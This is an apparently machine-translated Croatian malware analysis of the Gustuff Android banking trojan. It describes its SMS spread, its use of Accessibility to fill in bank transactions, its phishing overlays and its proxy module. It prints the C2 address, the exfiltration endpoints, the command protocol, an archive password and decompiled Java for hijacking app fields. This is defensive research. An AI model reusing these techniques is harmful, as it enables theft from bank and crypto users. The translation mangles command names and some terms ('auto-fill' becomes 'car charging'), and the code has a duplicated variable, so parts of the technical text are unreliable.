Kako Android Trojan Gustuff skida vrhnje (fiat i crypto) s vaših računa

Kako Android Trojan Gustuff skida vrhnje (fiat i crypto) s vaših računa

Baš neki dan Grupa-IB izvijestio o aktivnosti mobilnog Android trojanca Gustuff. Djeluje isključivo na međunarodnim tržištima, napadajući klijente 100 najvećih stranih banaka, korisnike mobilnih 32 kripto novčanika, kao i velike resurse e-trgovine. Ali programer Gustuffa je kibernetički kriminalac koji govori ruski pod nadimkom Bestoffer. Donedavno je hvalio svoj Trojan kao “ozbiljan proizvod za ljude sa znanjem i iskustvom”.

Stručnjak za analizu zlonamjernog koda u Group-IB Ivan Pisarev u svom istraživanju detaljno govori o tome kako Gustuff djeluje i koje su njegove opasnosti.

Koga Gustuff lovi?

Gustuff pripada novoj generaciji zlonamjernog softvera s potpuno automatiziranim funkcijama. Prema programeru, trojanac je postao nova i poboljšana verzija zlonamjernog softvera AndyBot koji od studenog 2017. napada Android telefone i krade novac putem web obrazaca za krađu identiteta maskiranih u mobilne aplikacije poznatih međunarodnih banaka i platnih sustava. Bestoffer je objavio da je cijena najma Gustuff Bota bila 800 dolara mjesečno.

Analiza uzorka Gustuff pokazala je da trojanac potencijalno cilja na klijente koji koriste mobilne aplikacije najvećih banaka, kao što su Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, kao i kripto novčanike. Bitcoin novčanik, BitPay, Cryptopay, Coinbase itd.

Izvorno kreiran kao klasični bankarski trojanac, Gustuff je u trenutnoj verziji značajno proširio popis potencijalnih meta za napad. Uz Android aplikacije za banke, fintech tvrtke i kripto usluge, Gustuff je namijenjen korisnicima marketplace aplikacija, online trgovina, sustava plaćanja i instant messengera. Konkretno, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut i drugi.

Ulazna točka: izračun za masovnu infekciju

Gustuff karakterizira "klasični" vektor prodiranja u Android pametne telefone putem SMS poruka s poveznicama na APK-ove. Kada se Android uređaj zarazi trojancem na naredbu poslužitelja, Gustuff se može dalje širiti kroz bazu podataka o kontaktima zaraženog telefona ili kroz bazu podataka poslužitelja. Funkcionalnost Gustuffa dizajnirana je za masovnu infekciju i maksimalnu kapitalizaciju poslovanja njegovih operatera - ima jedinstvenu funkciju "auto-fill" u legitimne aplikacije za mobilno bankarstvo i kripto novčanike, što vam omogućuje da ubrzate i povećate krađu novca.

Istraživanje trojanca pokazalo je da je funkcija automatskog popunjavanja implementirana u njega pomoću usluge pristupačnosti, usluge za osobe s invaliditetom. Gustuff nije prvi trojanac koji je uspješno zaobišao zaštitu od interakcije s elementima prozora drugih aplikacija koje koriste ovaj Android servis. Međutim, korištenje usluge pristupačnosti u kombinaciji s punionicom automobila još uvijek je prilično rijetka.

Nakon preuzimanja na žrtvin telefon, Gustuff, koristeći uslugu pristupačnosti, može komunicirati s elementima prozora drugih aplikacija (bankarstvo, kriptovalute, kao i aplikacije za online kupnju, slanje poruka itd.), obavljajući radnje potrebne za napadače. . Na primjer, na naredbu poslužitelja, trojanac može pritiskati gumbe i mijenjati vrijednosti tekstualnih polja u bankarskim aplikacijama. Korištenje mehanizma usluge pristupačnosti omogućuje trojancu da zaobiđe sigurnosne mehanizme koje koriste banke za suzbijanje mobilnih trojanaca prethodne generacije, kao i promjene u sigurnosnoj politici koju je Google implementirao u novim verzijama OS-a Android. Stoga Gustuff "zna kako" onemogućiti Google Protect zaštitu: prema autoru, ova funkcija radi u 70% slučajeva.

Kako Android Trojan Gustuff skida vrhnje (fiat i crypto) s vaših računa

Gustuff također može prikazati lažne PUSH obavijesti s ikonama legitimnih mobilnih aplikacija. Korisnik klikne na PUSH obavijest i vidi phishing prozor preuzet sa servera, gdje upisuje tražene podatke bankovne kartice ili kripto novčanika. U drugom Gustuff scenariju otvara se aplikacija u čije ime je prikazana PUSH obavijest. U ovom slučaju zlonamjerni softver, nakon naredbe s poslužitelja putem usluge pristupačnosti, može ispuniti polja obrasca bankovne aplikacije za lažnu transakciju.

Funkcionalnost Gustuffa također uključuje slanje informacija o zaraženom uređaju na poslužitelj, mogućnost čitanja/slanja SMS poruka, slanje USSD zahtjeva, pokretanje SOCKS5 proxyja, praćenje veze, slanje datoteka (uključujući skenirane fotografije dokumenata, snimke zaslona, ​​fotografije) na poslužitelja, vratite uređaj na tvorničke postavke.

Analiza zlonamjernog softvera

Prije instaliranja zlonamjerne aplikacije, Android OS korisniku prikazuje prozor s popisom prava koje Gustuff traži:

Kako Android Trojan Gustuff skida vrhnje (fiat i crypto) s vaših računa
Aplikacija će biti instalirana tek nakon dobivanja privole korisnika. Nakon pokretanja aplikacije, trojanac će korisniku pokazati prozor:

Kako Android Trojan Gustuff skida vrhnje (fiat i crypto) s vaših računa
Nakon toga će ukloniti svoju ikonu.

Gustuff pakira, prema autoru, paker iz FTT-a. Nakon pokretanja, aplikacija povremeno kontaktira CnC poslužitelj kako bi primila naredbe. Nekoliko datoteka koje smo ispitali koristilo je IP adresu kao kontrolni poslužitelj 88.99.171[.]105 (u daljnjem tekstu ćemo ga označavati kao <%CnC%>).

Nakon pokretanja, program počinje slati poruke poslužitelju http://<%CnC%>/api/v1/get.php.

Očekuje se da će odgovor biti JSON u sljedećem formatu:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Svaki put kada se pristupi aplikaciji, ona šalje informacije o zaraženom uređaju. Format poruke prikazan je u nastavku. Vrijedno je napomenuti da su polja Pun, ekstra, aplikacije и dopuštenje – opcionalno i bit će poslano samo u slučaju naredbe zahtjeva od CnC-a.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Pohranjivanje konfiguracijskih podataka

Gustuff pohranjuje operativno važne informacije u datoteku postavki. Naziv datoteke, kao i nazivi parametara u njoj, rezultat su izračunavanja MD5 sume iz niza 15413090667214.6.1<%name%>Gdje <%name%> — početno ime-vrijednost. Python interpretacija funkcije generiranja imena:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

U nastavku ćemo ga označavati kao NameGenerator(ulaz).
Dakle, prvi naziv datoteke je: nameGenerator("API_SERVER_LIST"), sadrži vrijednosti sa sljedećim nazivima:

Naziv varijable Vrijednost
nameGenerator("API_SERVER_LIST") Sadrži popis CnC adresa u obliku niza.
nameGenerator("API_SERVER_URL") Sadrži CnC adresu.
nameGenerator("SMS_UPLOAD") Zastavica je postavljena prema zadanim postavkama. Ako je zastavica postavljena, šalje SMS poruke u CnC.
nameGenerator("SMS_ROOT_NUMBER") Broj telefona na koji će se slati SMS poruke koje prima zaraženi uređaj. Zadana vrijednost je nula.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Oznaka je prema zadanim postavkama izbrisana. Ako je instaliran, kada zaraženi uređaj primi SMS, bit će poslan na glavni broj.
nameGenerator("DEFAULT_APP_SMS") Oznaka je prema zadanim postavkama izbrisana. Ako je ova zastavica postavljena, aplikacija će obraditi dolazne SMS poruke.
nameGenerator("DEFAULT_ADMIN") Oznaka je prema zadanim postavkama izbrisana. Ako je zastavica postavljena, aplikacija ima administratorska prava.
nameGenerator("DEFAULT_ACCESSIBILITY") Oznaka je prema zadanim postavkama izbrisana. Ako je zastavica postavljena, izvodi se usluga koja koristi uslugu pristupačnosti.
nameGenerator("APPS_CONFIG") JSON objekt koji sadrži popis radnji koje se moraju izvršiti kada se pokrene događaj pristupačnosti povezan s određenom aplikacijom.
nameGenerator("APPS_INSTALLED") Pohranjuje popis aplikacija instaliranih na uređaju.
nameGenerator("IS_FIST_RUN") Zastavica se resetira pri prvom pokretanju.
nameGenerator("UNIQUE_ID") Sadrži jedinstveni identifikator. Generira se kada se bot prvi put pokrene.

Modul za obradu naredbi s poslužitelja

Aplikacija pohranjuje adrese CnC poslužitelja u obliku niza kodiranog pomoću Base85 linije. Popis CnC poslužitelja može se promijeniti po primitku odgovarajuće naredbe, u kojem će slučaju adrese biti pohranjene u datoteci postavki.

Kao odgovor na zahtjev, poslužitelj šalje naredbu aplikaciji. Vrijedno je napomenuti da su naredbe i parametri prikazani u JSON formatu. Aplikacija može obraditi sljedeće naredbe:

Momčad Opis
naprijedPokreni Počnite slati SMS poruke koje primi zaraženi uređaj na CnC poslužitelj.
naprijedZaustavi Zaustavite slanje SMS poruka koje primi zaraženi uređaj na CnC poslužitelj.
ussdRun Izvršite USSD zahtjev. Broj na koji trebate uputiti USSD zahtjev nalazi se u JSON polju “broj”.
poslati SMS Pošaljite jednu SMS poruku (ako je potrebno, poruka se “dijeli” na dijelove). Kao parametar, naredba uzima JSON objekt koji sadrži polja "to" - odredišni broj i "body" - tijelo poruke.
poslatiSmsAb Šaljite SMS poruke (ako je potrebno, poruka se “dijeli” na dijelove) svima na popisu kontakata zaraženog uređaja. Razmak između slanja poruka je 10 sekundi. Tijelo poruke je u JSON polju "body"
poslatiSmsMass Šaljite SMS poruke (ako je potrebno, poruka se “dijeli” na dijelove) kontaktima navedenim u parametrima naredbe. Razmak između slanja poruka je 10 sekundi. Kao parametar, naredba uzima JSON niz (polje "sms"), čiji elementi sadrže polja "to" - odredišni broj i "body" - tijelo poruke.
changeServer Ova naredba može uzeti vrijednost s ključem “url” kao parametrom - tada će bot promijeniti vrijednost nameGenerator(“SERVER_URL”) ili “array” - tada će bot napisati niz u nameGenerator (“API_SERVER_LIST”) Dakle, aplikacija mijenja adresu CnC poslužitelja.
adminNumber Naredba je dizajnirana za rad s korijenskim brojem. Naredba prihvaća JSON objekt sa sljedećim parametrima: “number” — promijenite nameGenerator(“ROOT_NUMBER”) u primljenu vrijednost, “resend” — promijenite nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — pošaljite nameGenerator(“ROOT_NUMBER” ) jedinstveni ID.
updateInfo Pošaljite informacije o zaraženom uređaju na poslužitelj.
Obriši podatke Naredba je namijenjena za brisanje korisničkih podataka. Ovisno o tome pod kojim imenom je aplikacija pokrenuta, podaci se potpuno brišu ponovnim pokretanjem uređaja (primarni korisnik) ili se brišu samo korisnički podaci (sekundarni korisnik).
čarapePočetak Pokrenite proxy modul. Rad modula opisan je u posebnom odjeljku.
čarapeStop Zaustavite proxy modul.
otvori link Pratite poveznicu. Veza se nalazi u JSON parametru ispod ključa "url". Za otvaranje veze koristi se “android.intent.action.VIEW”.
uploadAllSms Pošaljite sve SMS poruke koje primi uređaj na poslužitelj.
uploadAllPhotos Slanje slika sa zaraženog uređaja na URL. URL dolazi kao parametar.
uploadFile Pošaljite datoteku na URL sa zaraženog uređaja. URL dolazi kao parametar.
uploadPhoneNumbers Pošaljite telefonske brojeve s popisa kontakata na poslužitelj. Ako se vrijednost JSON objekta s ključem “ab” primi kao parametar, aplikacija prima popis kontakata iz telefonskog imenika. Ako se kao parametar primi JSON objekt s ključem “sms”, aplikacija čita popis kontakata od pošiljatelja SMS poruka.
promjenaArhiva Aplikacija preuzima datoteku s adrese koja dolazi kao parametar pomoću ključa "url". Preuzeta datoteka sprema se pod nazivom “archive.zip”. Aplikacija će zatim raspakirati datoteku, opcionalno koristeći lozinku za arhivu “b5jXh37gxgHBrZhQ4j3D”. Raspakovane datoteke spremaju se u [vanjsku pohranu]/hgps direktorij. U ovom direktoriju aplikacija pohranjuje web krivotvorine (opisane u nastavku).
akcije Naredba je dizajnirana za rad s Action Serviceom, koji je opisan u zasebnom odjeljku.
test Ne radeći ništa.
preuzimanje Naredba je namijenjena preuzimanju datoteke s udaljenog poslužitelja i njezinom spremanju u direktorij "Preuzimanja". URL i naziv datoteke dolaze kao parametar, polja u JSON objektu parametra, odnosno: “url” i “fileName”.
ukloniti Uklanja datoteku iz direktorija "Preuzimanja". Naziv datoteke dolazi u JSON parametru s ključem "fileName". Standardni naziv datoteke je “tmp.apk”.
obavijest Prikaži obavijest s tekstom opisa i naslova definiranim od strane poslužitelja za upravljanje.

Format naredbe obavijest:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Obavijest koju generira datoteka pod istragom izgleda identično obavijestima koje generira aplikacija navedena u polju aplikacija. Ako vrijednost polja openApp — Istina, kada se otvori obavijest, pokreće se aplikacija navedena u polju aplikacija. Ako vrijednost polja openApp — Netočno, dakle:

  • Otvara se prozor za krađu identiteta čiji se sadržaj preuzima iz imenika <%vanjska pohrana%>/hgps/<%filename%>
  • Otvara se prozor za krađu identiteta čiji se sadržaj preuzima s poslužitelja <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Otvara se prozor za krađu identiteta, prerušen u Google Play karticu, s mogućnošću unosa podataka o kartici.

Aplikacija šalje rezultat bilo koje naredbe na <%CnC%>set_state.php kao JSON objekt u sljedećem formatu:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Popis naredbi koje aplikacija obrađuje uključuje akcijski. Kada se primi naredba, modul za obradu naredbi pristupa ovoj usluzi kako bi izvršio proširenu naredbu. Usluga prihvaća JSON objekt kao parametar. Usluga može izvršavati sljedeće naredbe:

1. PARAMS_ACTION — prilikom primanja takve naredbe, usluga najprije od JSON parametra prima vrijednost ključa Type koja može biti sljedeća:

  • serviceInfo – podnaredba dobiva vrijednost po ključu iz JSON parametra uključiNijeVažno. Ako je oznaka True, aplikacija postavlja oznaku FLAG_ISOLATED_PROCESS na uslugu koja koristi uslugu pristupačnosti. Na taj će način usluga biti pokrenuta u zasebnom procesu.
  • korijen — primiti i poslati poslužitelju informacije o prozoru koji je trenutno u fokusu. Aplikacija dobiva informacije pomoću klase AccessibilityNodeInfo.
  • admin — zatražiti administratorska prava.
  • odgoditi — obustavite ActionsService na broj milisekundi navedenih u parametru za ključ "data".
  • prozori — poslati popis prozora vidljivih korisniku.
  • instalirati — instalirajte aplikaciju na zaraženi uređaj. Naziv arhivskog paketa nalazi se u ključu “fileName”. Sama arhiva nalazi se u direktoriju Preuzimanja.
  • globalno – podnaredba je namijenjena za navigaciju iz trenutnog prozora:
    • na izborniku Brze postavke
    • prije
    • Dom
    • na obavijesti
    • u prozor nedavno otvorenih aplikacija

  • meluncurkan - pokrenite aplikaciju. Naziv aplikacije dolazi kao parametar po ključu datum.
  • zvukovi — promijenite način zvuka u tišinu.
  • otključati — uključuje pozadinsko osvjetljenje zaslona i tipkovnice do pune svjetline. Aplikacija izvodi ovu radnju koristeći WakeLock, navodeći niz [Application Lable]:INFO kao oznaku
  • permissionOverlay — funkcija nije implementirana (odgovor na izvršenje naredbe je {"message":"Not support"} ili {"message":"low sdk"})
  • gest — funkcija nije implementirana (odgovor na izvršenje naredbe je {"message":"Not support"}ili {"message":"Low API"})
  • dozvole — ova naredba je neophodna za traženje dopuštenja za aplikaciju. Međutim, funkcija upita nije implementirana, pa je naredba besmislena. Popis traženih prava dolazi kao JSON niz s ključem "permissions". Standardni popis:
    • android.dozvola.READ_PHONE_STATE
    • android.dozvola.READ_KONTAKTI
    • android.dopuštenje.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.dozvola.READ_EXTERNAL_STORAGE
    • android.dozvola.WRITE_EXTERNAL_STORAGE

  • otvoriti — prikazati prozor za krađu identiteta. Ovisno o parametru koji dolazi s poslužitelja, aplikacija može prikazati sljedeće prozore za krađu identiteta:
    • Prikaži prozor za krađu identiteta čiji je sadržaj zapisan u datoteci u direktoriju <%vanjski direktorij%>/hgps/<%param_filename%>. Rezultat interakcije korisnika s prozorom bit će poslan na <%CnC%>/records.php
    • Prikaži prozor za krađu identiteta čiji je sadržaj unaprijed učitan s adrese <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Rezultat interakcije korisnika s prozorom bit će poslan na <%CnC%>/records.php
    • Prikaži prozor za krađu identiteta prerušen u Google Play karticu.

  • interaktivan — naredba je dizajnirana za interakciju s elementima prozora drugih aplikacija pomoću AcessibilityService. U programu je implementirana posebna usluga za interakciju. Aplikacija koja se istražuje može komunicirati s prozorima:
    • Trenutno aktivan. U ovom slučaju, parametar sadrži ID ili tekst (naziv) objekta s kojim trebate stupiti u interakciju.
    • Vidljivo korisniku u trenutku izvršavanja naredbe. Aplikacija odabire prozore prema ID-u.

    Primivši predmete AccessibilityNodeInfo Za elemente prozora od interesa, aplikacija, ovisno o parametrima, može izvršiti sljedeće radnje:

    • fokus — postavite fokus na objekt.
    • klik — klik na predmet.
    • actionId — izvrši radnju prema ID-u.
    • setText — promijenite tekst objekta. Promjena teksta moguća je na dva načina: izvršiti radnju ACTION_SET_TEXT (ako je verzija Androida zaraženog uređaja mlađa ili jednaka LIZALICA), ili postavljanjem niza u međuspremnik i lijepljenjem u objekt (za starije verzije). Ova se naredba može koristiti za promjenu podataka u bankarskoj aplikaciji.

2. PARAMS_ACTIONS - isto kao PARAMS_ACTION, stiže samo JSON niz naredbi.

Čini se da će mnoge ljude zanimati kako izgleda funkcija interakcije s elementima prozora druge aplikacije. Ovako je ova funkcija implementirana u Gustuffu:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funkcija zamjene teksta:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Dakle, uz ispravnu konfiguraciju kontrolnog poslužitelja, Gustuff je u mogućnosti ispuniti tekstualna polja u bankarskoj aplikaciji i kliknuti na gumbe potrebne za dovršetak transakcije. Trojanac se čak ne mora ni prijaviti u aplikaciju – dovoljno je poslati naredbu za prikaz PUSH obavijesti i zatim otvoriti prethodno instaliranu bankarsku aplikaciju. Korisnik će se autentificirati, nakon čega će Gustuff moći napuniti automobil.

Modul za obradu SMS poruka

Aplikacija instalira rukovatelj događajima za zaraženi uređaj za prihvaćanje SMS poruka. Aplikacija koja se proučava može primati naredbe od operatera, koje dolaze u tijelu SMS poruke. Naredbe dolaze u formatu:

7!5=<%Base64 kodirana naredba%>

Aplikacija traži niz u svim dolaznim SMS porukama 7!5=, kada se otkrije niz, dekodira niz iz Base64 na pomaku 4 i izvršava naredbu. Naredbe su slične onima s CnC. Rezultat izvršenja se šalje na isti broj s kojeg je stigla naredba. Format odgovora:

7*5=<%Base64 kodiranje od “result_code command”%>

Po želji, aplikacija može poslati sve primljene poruke na Root broj. Da biste to učinili, Root broj mora biti naveden u datoteci postavki i mora biti postavljena oznaka za preusmjeravanje poruke. Na broj napadača šalje se SMS poruka u formatu:

<%Od broja%> - <%Vrijeme, format: dd/MM/gggg HH:mm:ss%> <%SMS body%>

Također, opcionalno, aplikacija može slati poruke CnC-u. SMS poruka se šalje na poslužitelj u JSON formatu:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Ako je zastavica postavljena nameGenerator("DEFAULT_APP_SMS") – aplikacija prestaje s obradom SMS poruke i briše popis dolaznih poruka.

Proxy modul

Aplikacija koja se proučava sadrži Backconnect Proxy modul (u daljnjem tekstu Proxy modul), koji ima zasebnu klasu koja uključuje statička polja s konfiguracijom. Podaci o konfiguraciji pohranjeni su u uzorku u jasnom obliku:

Kako Android Trojan Gustuff skida vrhnje (fiat i crypto) s vaših računa

Sve radnje koje izvodi Proxy modul zapisuju se u datoteke. Da bi to učinila, aplikacija u vanjskoj pohrani stvara direktorij pod nazivom "logs" (polje ProxyConfigClass.logsDir u konfiguracijskoj klasi), u kojem se pohranjuju datoteke dnevnika. Zapisivanje se događa u datotekama s nazivima:

  1. glavna.txt – rad klase pod nazivom CommandServer prijavljen je u ovu datoteku. U nastavku, zapisivanje niza str u ovu datoteku bit će označeno kao mainLog(str).
  2. sesija-<%id%>.txt — ova datoteka sprema podatke dnevnika povezane s određenom proxy sesijom. U nastavku, zapisivanje niza str u ovu datoteku bit će označeno kao sessionLog (str).
  3. server.txt – ova datoteka se koristi za bilježenje svih podataka upisanih u gore opisane datoteke.

Format podataka dnevnika:

<%Datum%> [Niz[<%thread id%>], id[]]: log-string

Iznimke koje se dogode tijekom rada Proxy modula također se bilježe u datoteku. Da bi to učinila, aplikacija generira JSON objekt u sljedećem formatu:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Zatim ga pretvara u prikaz niza i bilježi.

Proxy modul se pokreće nakon što primi odgovarajuću naredbu. Kada se primi naredba za pokretanje Proxy modula, aplikacija pokreće uslugu tzv MainService, koji je zadužen za upravljanje radom Proxy modula – njegovo pokretanje i zaustavljanje.

Faze pokretanja usluge:

1. Pokreće mjerač vremena koji se pokreće jednom u minuti i provjerava aktivnost proxy modula. Ako modul nije aktivan, on ga pokreće.
Također kada je događaj pokrenut android.net.conn.CONNECTIVITY_CHANGE Proxy modul je pokrenut.

2. Aplikacija stvara wake-lock s parametrom DJELOMIČNO_ZAKLJUČAVANJE_BUĐENJA i zarobi ga. To sprječava CPU uređaja da prijeđe u stanje mirovanja.

3. Pokreće klasu obrade naredbi proxy modula, prvo bilježeći liniju mainLog("pokreni poslužitelj") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

gdje proxy_cnc, command_port i proxy_port – parametri dobiveni iz konfiguracije proxy poslužitelja.

Poziva se klasa obrade naredbi CommandConnection. Odmah nakon pokretanja, izvršava sljedeće radnje:

4. Povezuje se na ProxyConfigClass.host: ProxyConfigClass.commandPort i tamo šalje podatke o zaraženom uređaju u JSON formatu:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Gdje:

  • id – identifikator, pokušava dobiti vrijednost s poljem “id” iz datoteke dijeljenih postavki pod nazivom “x”. Ako se ova vrijednost ne može dobiti, generira se nova. Dakle, Proxy modul ima vlastiti identifikator, koji se generira slično kao Bot ID.
  • imei — IMEI uređaja. Ako je došlo do pogreške tijekom postupka dobivanja vrijednosti, umjesto ovog polja bit će ispisana tekstualna poruka o pogrešci.
  • imsi — Međunarodni identitet mobilnog pretplatnika uređaja. Ako je došlo do pogreške tijekom postupka dobivanja vrijednosti, umjesto ovog polja bit će ispisana tekstualna poruka o pogrešci.
  • model — Ime krajnjeg proizvoda vidljivo krajnjem korisniku.
  • proizvođač — Proizvođač proizvoda/hardvera (Build.MANUFACTURER).
  • androidVersion - niz u formatu "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • država — trenutna lokacija uređaja.
  • partnerId je prazan niz.
  • packageName – naziv paketa.
  • networkType — vrsta trenutne mrežne veze (primjer: “WIFI”, “MOBILE”). U slučaju pogreške, vraća null.
  • hasGsmSupport – true – ako telefon podržava GSM, inače false.
  • simReady – stanje SIM kartice.
  • simCountry - ISO kod zemlje (na temelju pružatelja SIM kartice).
  • networkOperator — naziv operatera. Ako je došlo do pogreške tijekom postupka dobivanja vrijednosti, umjesto ovog polja bit će ispisana tekstualna poruka o pogrešci.
  • simOperator — Naziv davatelja usluge (SPN). Ako je došlo do pogreške tijekom postupka dobivanja vrijednosti, umjesto ovog polja bit će ispisana tekstualna poruka o pogrešci.
  • verzija - ovo polje je pohranjeno u klasi konfiguracije; za testirane verzije bota bilo je jednako "1.6".

5. Prebacuje se u način čekanja na naredbe s poslužitelja. Naredbe s poslužitelja dolaze u formatu:

  • 0 pomak – naredba
  • 1 pomak – sessionId
  • 2 ofset – duljina
  • 4 pomak - podaci

Kada stigne naredba, aplikacija bilježi:
mainLog("Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

Moguće su sljedeće naredbe s poslužitelja:

Ime i Prezime naredba Datum Opis
ConnectId 0 ID veze Stvorite novu vezu
SLEEP 3 Vrijeme Pauzirajte proxy modul
STOLNI TENIS 4 - Pošalji PONG poruku

PONG poruka sastoji se od 4 bajta i izgleda ovako: 0x04000000.

Kada se primi naredba connectionId (za stvaranje nove veze) CommandConnection stvara instancu klase ProxyConnection.

  • Dvije klase sudjeluju u proxyju: ProxyConnection и kraj. Prilikom kreiranja klase ProxyConnection spajanje na adresu ProxyConfigClass.host: ProxyConfigClass.proxyPort i prosljeđivanje JSON objekta:

 {
    "id":<%connectionId%>
}

Kao odgovor poslužitelj šalje SOCKS5 poruku koja sadrži adresu udaljenog poslužitelja s kojim se mora uspostaviti veza. Interakcija s ovim poslužiteljem odvija se kroz klasu kraj. Postavljanje veze može se shematski prikazati na sljedeći način:

Kako Android Trojan Gustuff skida vrhnje (fiat i crypto) s vaših računa

Mrežne interakcije

Kako bi se spriječila analiza prometa od strane mrežnih sniffera, interakcija između CnC poslužitelja i aplikacije može se zaštititi pomoću SSL protokola. Svi podaci koji se prenose sa i na poslužitelj prikazani su u JSON formatu. Aplikacija tijekom rada izvršava sljedeće zahtjeve:

  • http://<%CnC%>/api/v1/set_state.php — rezultat izvršenja naredbe.
  • http://<%CnC%>/api/v1/get.php — primanje zapovijedi.
  • http://<%CnC%>/api/v1/load_sms.php — preuzimanje SMS poruka sa zaraženog uređaja.
  • http://<%CnC%>/api/v1/load_ab.php — učitavanje popisa kontakata sa zaraženog uređaja.
  • http://<%CnC%>/api/v1/aevents.php – zahtjev se postavlja prilikom ažuriranja parametara koji se nalaze u datoteci postavki.
  • http://<%CnC%>/api/v1/set_card.php — učitavanje podataka dobivenih pomoću prozora za krađu identiteta maskiranog kao Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – učitavanje podataka dnevnika.
  • http://<%CnC%>/api/v1/records.php – učitavanje podataka dobivenih putem phishing prozora.
